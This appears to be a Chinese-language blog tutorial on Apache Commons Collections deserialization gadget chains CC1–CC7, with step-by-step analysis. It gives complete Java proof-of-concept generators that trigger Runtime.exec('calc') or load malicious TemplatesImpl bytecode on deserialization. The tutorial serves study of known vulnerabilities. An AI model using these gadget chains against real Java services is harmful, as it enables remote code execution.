1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class RunTest { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> hashMap = new HashMap <>(); hashMap.put("value" ,"aaa" ); Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null ,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); Object o = constructor.newInstance(Target.class,transformedMap); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream (new FileOutputStream ("./ser.bin" )); objectOutputStream.writeObject(obj); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream (new FileInputStream (filename)); Object object = objectInputStream.readObject(); return object; } }
Java代理:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ProxyTest.java package daili;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;public class ProxyTest { public static void main (String[] args) { IUser user = new UserImpl (); InvocationHandler userinvocationHandler = new UserInvocationHandler (user); IUser userproxy = (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(),user.getClass().getInterfaces(),userinvocationHandler); userproxy.show(); } }
1 2 3 4 5 6 7 8 9 10 11 12 UerImpl.java package daili;public class UserImpl implements IUser { public UserImpl () { } public void show () { System.out.println("展示" ); } }
1 2 3 4 5 6 7 IUser.java接口 package daili;public interface IUser { void show () ; }
静态代理:4
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package daili;public class UserProxy implements IUser { IUser user; public UserProxy () { } public UserProxy (IUser user) {this .user = user; } public void show () { user.show(); System.out.println("调用了show" ); } }
动态代理:
如果调用了动态代理类的任意方法,则会调用动态代理类中的invoke方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 UserInvocationHanderler.java package daili;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;public class UserInvocationHandler implements InvocationHandler { IUser user; public UserInvocationHandler () { } public UserInvocationHandler (IUser user) { this .user = user; } @Override public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { method.invoke(user,args); return null ; } }
1 2 3 4 5 InvocationHandler userinvocationHandler = new UserInvocationHandler (user);IUser userproxy = (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(),user.getClass().getInterfaces(),userinvocationHandler);userproxy.show();
利用方式:
1 2 3 4 5 6 目标:B.f 调用链:A[O] - > O.abc - > B.f O为动态代理类: O[B]invoke - > f
在查找transform的使用时,出了TransformedMap,还有LazyMap,我们继续尝试使用LazyMap构造cc链
进入LazyMap
发现是在get方法中调用的transform,且factory是可控的,因此我们查看构造方法,发现还是一样的调用decorate对其进行赋值就行,我们继续查看哪里调用了get方法,这里方法特别多,我们直接来到触发点,还是AnnotationInvocationHandler类,但这次是invoke方法
发现参数依然是我们可控的,只是有if判断需要我们进行绕过,简单来说就是不能调用equals方法,且调用的不能是有参方法,而我们的readObject正好有无参方法,且类名是可控的,如下图
POC2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CC6 { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer=new ChainedTransformer (transformers); Map<Object,Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); InvocationHandler h = (InvocationHandler) constructor.newInstance(Override.class,lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class []{Map.class},h); InvocationHandler o = (InvocationHandler) constructor.newInstance(Override.class,mapProxy); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream (new FileOutputStream ("./ser.bin" )); objectOutputStream.writeObject(obj); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream (new FileInputStream (filename)); Object object = objectInputStream.readObject(); return object; } }
CC3
CC3其实就是用InvokerTransformer调用了tp链,由于在fj1.2.24的时候已经了解过了这条链子,下面我就简单说说,具体的可以去看fj1.2.24的博客
这条链子主要是通过加载字节码达到任意代码执行的效果,通过InvokerTransformer的任意方法调用,执行到TemplatesImpl的newTransformer方法进而加载恶意类执行恶意代码,下面是详细分析
TemplatesImpl
我闷先来到漏洞触发点
发现这里将_class[_transletIndex]进行了实例化,也就是可以进行任意代码的执行,由于不是public用法,所以我们继续向上找
于是就找到了newTransformer这个方法,既然已经找到了可以调用的方法,我们就继续完善调用条件即可,回到getTransletInstance,我们首先需要将class赋值为我们的恶意类才能进行操作
所以我们继续跟进defineTransletClasses方法
这里需要注意三个地方,第一个是_bytecodes不能为空,再就是这里_class[i] = loader.defineClass(_bytecodes[i]);进行了类加载操作,还有一个没标,就是图中的_tfactory也得赋值,否则会报错,最下面那个就是要求恶意类的父类必须是ABSTRACT_TRANSLET,否则会报异常,具体如下
也就是AbstractTranslet这个类
由于我们传入的byte是二维数组,所以最终的_transletIndex就会是1,进而实例化我们的恶意类,最后只需要将CC1中chainedtransforms的调用换成TemplatesImpl的newTransformer即可
POC1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Calc extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import javax.xml.transform.TransformerConfigurationException;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC3 { public static void main (String[] args) throws NoSuchMethodException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, IOException, ClassNotFoundException, InvocationTargetException, InstantiationException { TemplatesImpl templates = new TemplatesImpl (); Class ct = templates.getClass(); byte [] code = Files.readAllBytes(Paths.get("E://漏洞复现/cc/CC1/src/main/java/Calc.class" )); byte [][] bytes = {code}; Field ctDeclaredField = ct.getDeclaredField("_bytecodes" ); ctDeclaredField.setAccessible(true ); ctDeclaredField.set(templates,bytes); Field nameField = ct.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"Chu0" ); Field tfactory = ct.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,null ,null ) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("value" ,"123" ); Map transformedMap = TransformedMap.decorate(hashMap,null ,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); Object o = constructor.newInstance(Target.class,transformedMap); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream (new FileOutputStream ("./ser.bin" )); objectOutputStream.writeObject(obj); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream (new FileInputStream (filename)); Object object = objectInputStream.readObject(); return object; } }
POC2
我们可以发现如果被禁用了InvokerTransformer的话,CC哪条链都无法执行,这样的话我们就考虑能否不使用他来构造链子,于是就想找到一个不使用InvokerTransformer里面反射调用的方法,找到一个可以直接调用Templateslmpl的newTransformer的类:
所以CC3链子的作者找到了这样的一个类TrAXFliter
(不存在序列化接口),可以直接调用newTransformer的类:
通过chainedTransformer类中的transform方法,先传入TrAXFilter.class,然后在通过InstantiateTransformer(存在序列化接口)的transform方法,对上面类和类的构造方法进行调用并将TemplatesImpl Templates = new TemplatesImpl();
传入,触发TrAXFliter构造方法中的Templates.newInstance()方法。
1 2 3 4 5 6 7 Transformer[] Transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{Templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer (Transformers);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import javax.xml.transform.Templates;import javax.xml.transform.TransformerConfigurationException;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC32 { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); Class ct = templates.getClass(); byte [] code = Files.readAllBytes(Paths.get("E://漏洞复现/cc/CC1/src/main/java/Calc.class" )); byte [][] bytes = {code}; Field ctDeclaredField = ct.getDeclaredField("_bytecodes" ); ctDeclaredField.setAccessible(true ); ctDeclaredField.set(templates,bytes); Field nameField = ct.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"Chu0" ); Field tfactory = ct.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map = new HashMap <>(); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null ,chainedTransformer); transformedMap.put("value" ,"value" ); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); Object o = constructor.newInstance(Target.class,transformedMap); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream (new FileOutputStream ("./ser.bin" )); objectOutputStream.writeObject(obj); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream (new FileInputStream (filename)); Object object = objectInputStream.readObject(); return object; } }
CC6
简单来说是DNSURL链与CC1的结合,利用HashMap调用某类的hashcode方法,再利用hashcode调用CC1中LazyMap链的get方法,进而链接整条线路
TiedMapEntry.hashCode
利用 TiedMapEntry.hashCode 去触发 LazyMap.get,我们进来看一下它的 hashCode
跟进 getValue
再看一下它的构造函数
就是构造键值对,那么只需要让其map为 LazyMap 即可
然后再看 HashMap.readObject
HashMap.readObject
就是这里触发 hashCode ,只需要让其key为 TiedMapEntry 即可
因为对于map的赋值必须要用put,所以这里是用put进行的赋值
问题解决
这里的put会有一个问题,在他执行的时候也会调用hash方法,进而将整条链子 触发一次
而最关键的是在lazyMap部分
在这里触发完链子之后,会执行map.put操作,将key放到map里面,而我们能够执行factory.transform的条件是map中的key不存在。如果我们在序列化的时候将map中的key赋值,将会导致其在反序列化的时候无法进入if判断,进而导致命令执行失败,所以我们就需要用特定的语句在序列化之前将map中的key去掉
POC1
这里先给出链子(我自己写的版本)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.net.MalformedURLException;import java.net.URL;import java.util.HashMap;import java.util.Map;public class CC6Test { public static void main (String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer=new ChainedTransformer (transformers); Map<Object,Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,"aaa" ); HashMap<Object, Object> map1 = new HashMap <>(); map1.put(tiedMapEntry, "bbb" ); lazyMap.remove("aaa" ); serialize(map1); } public static void serialize (Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream (new FileOutputStream ("./ser.bin" )); objectOutputStream.writeObject(obj); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream (new FileInputStream (filename)); Object object = objectInputStream.readObject(); return object; } }
POC2
这里和我自己的poc的区别就是在开始的时候将触发计算器的调用链改成了没用的transfrom,在序列化之前再将其替换回来,实测应该是对链子整体的触发没有什么影响。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.net.MalformedURLException;import java.net.URL;import java.util.HashMap;import java.util.Map;public class CC6Test { public static void main (String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer=new ChainedTransformer (transformers); Map<Object,Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,"aaa" ); HashMap<Object, Object> map1 = new HashMap <>(); map1.put(tiedMapEntry, "bbb" ); lazyMap.remove("aaa" ); Class c = LazyMap.class; Field factoryField = c.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazyMap,chainedTransformer); serialize(map1); } public static void serialize (Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream (new FileOutputStream ("./ser.bin" )); objectOutputStream.writeObject(obj); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream (new FileInputStream (filename)); Object object = objectInputStream.readObject(); return object; } }
CC4
分析
因为 CommonsCollections4 除4.0的其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化。
我们找了 TransformingComparator.compare 进行字节码加载
查看哪里调用了 TransformingComparator.compare,发现在 PriorityQueue.readObject
开始构造
先看 TransformingComparator 的构造方法
可以直接赋值,然后看 PriorityQueue 的构造方法
也可以直接复制,那么构造
1 2 TransformingComparator transformingComparator = new TransformingComparator <>(chainedTransformer);PriorityQueue priorityQueue = new PriorityQueue <>(transformingComparator);
但是此时还执不了,调试看
此时size为0, 进不去, 如果想要进入,size最少为2,尝试构造
1 2 priorityQueue.add(1 ); priorityQueue.add(2 );
但是会报错(虽然能弹出计算器但是不是想要的)我们跟进put
可见在put的时候就调用了compare方法,但我们需要在 readObject 的时候才调用所以我们要在前面将一些东西赋值为别的,反序列化的时候再改回来
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Comparator;import java.util.PriorityQueue;public class CC4Test { public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class ct = templates.getClass(); byte [] code = Files.readAllBytes(Paths.get("E://漏洞复现/cc/CC1/src/main/java/Calc.class" )); byte [][] bytes = {code}; Field ctDeclaredField = ct.getDeclaredField("_bytecodes" ); ctDeclaredField.setAccessible(true ); ctDeclaredField.set(templates,bytes); Field nameField = ct.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"Chu0" ); Field tfactory = ct.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); TransformingComparator transformingComparator = new TransformingComparator <>(new ConstantTransformer <>(1 )); PriorityQueue priorityQueue = new PriorityQueue <>(transformingComparator); priorityQueue.add(1 ); priorityQueue.add(2 ); Class c = transformingComparator.getClass(); Field transformer = c.getDeclaredField("transformer" ); transformer.setAccessible(true ); transformer.set(transformingComparator,chainedTransformer); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream (new FileOutputStream ("./ser.bin" )); objectOutputStream.writeObject(obj); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream (new FileInputStream (filename)); Object object = objectInputStream.readObject(); return object; } }
CC2
直接给POC了,和CC4差不多的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class CC42 { public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class ct = templates.getClass(); byte [] code = Files.readAllBytes(Paths.get("E://漏洞复现/cc/CC1/src/main/java/Calc.class" )); byte [][] bytes = {code}; Field ctDeclaredField = ct.getDeclaredField("_bytecodes" ); ctDeclaredField.setAccessible(true ); ctDeclaredField.set(templates,bytes); Field nameField = ct.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"Chu0" ); Field tfactory = ct.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); InvokerTransformer invokerTransformer = new InvokerTransformer ("newTransformer" ,new Class []{},new Object []{}); TransformingComparator transformingComparator = new TransformingComparator <>(new ConstantTransformer <>(1 )); PriorityQueue priorityQueue = new PriorityQueue <>(transformingComparator); priorityQueue.add(templates); priorityQueue.add(templates); Class c = transformingComparator.getClass(); Field transformer = c.getDeclaredField("transformer" ); transformer.setAccessible(true ); transformer.set(transformingComparator,invokerTransformer); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream (new FileOutputStream ("./ser.bin" )); objectOutputStream.writeObject(obj); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream (new FileInputStream (filename)); Object object = objectInputStream.readObject(); return object; } }
CC5
BadAttributeValueExpException
注意在构造函数的时候会直接调用 toString方法 ,所以一开始需要赋值一个其他的,反序列化的时候再给 TiedMapEntry
TiedMapEntry
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.*;import java.util.HashMap;import java.util.Map;public class CC5 { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer=new ChainedTransformer (transformers); Map<Object,Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "123" ); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (new ConstantTransformer (1 )); Class c = BadAttributeValueExpException.class; Field val = c.getDeclaredField("val" ); val.setAccessible(true ); val.set(badAttributeValueExpException,tiedMapEntry); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream (new FileOutputStream ("./ser.bin" )); objectOutputStream.writeObject(obj); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream (new FileInputStream (filename)); Object object = objectInputStream.readObject(); return object; } }
CC7
入口点利用了HashTable通过readObject中调用reconstitutionPut
,然后又调用了equals,然后找到了AbstractMapDecorator类中的equals方法中调用了get方法。
然后在equals中存在一个哈希碰撞,比较罕见,这里就不展开来研究了,可以参考fakesoul师傅写的文章:
https://xz.aliyun.com/t/12207#toc-10
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class cc7 { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { Transformer[] fakeformers = new Transformer []{new ConstantTransformer (2 )}; Transformer[] transforms = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }), }; ChainedTransformer chainedTransformer = new ChainedTransformer (fakeformers); Map innerMap1 = new HashMap (); innerMap1.put("pP" ,1 ); Map innerMap2 = new HashMap (); innerMap2.put("oo" ,1 ); Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer); Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer); Hashtable hashtable = new Hashtable (); hashtable.put(lazyMap1,1 ); hashtable.put(lazyMap2,2 ); lazyMap2.remove("pP" ); Class clazz = ChainedTransformer.class; Field field = clazz.getDeclaredField("iTransformers" ); field.setAccessible(true ); field.set(chainedTransformer,transforms); ByteArrayOutputStream bos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (bos); oos.writeObject(hashtable); oos.close(); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (bos.toByteArray())); ois.readObject(); } }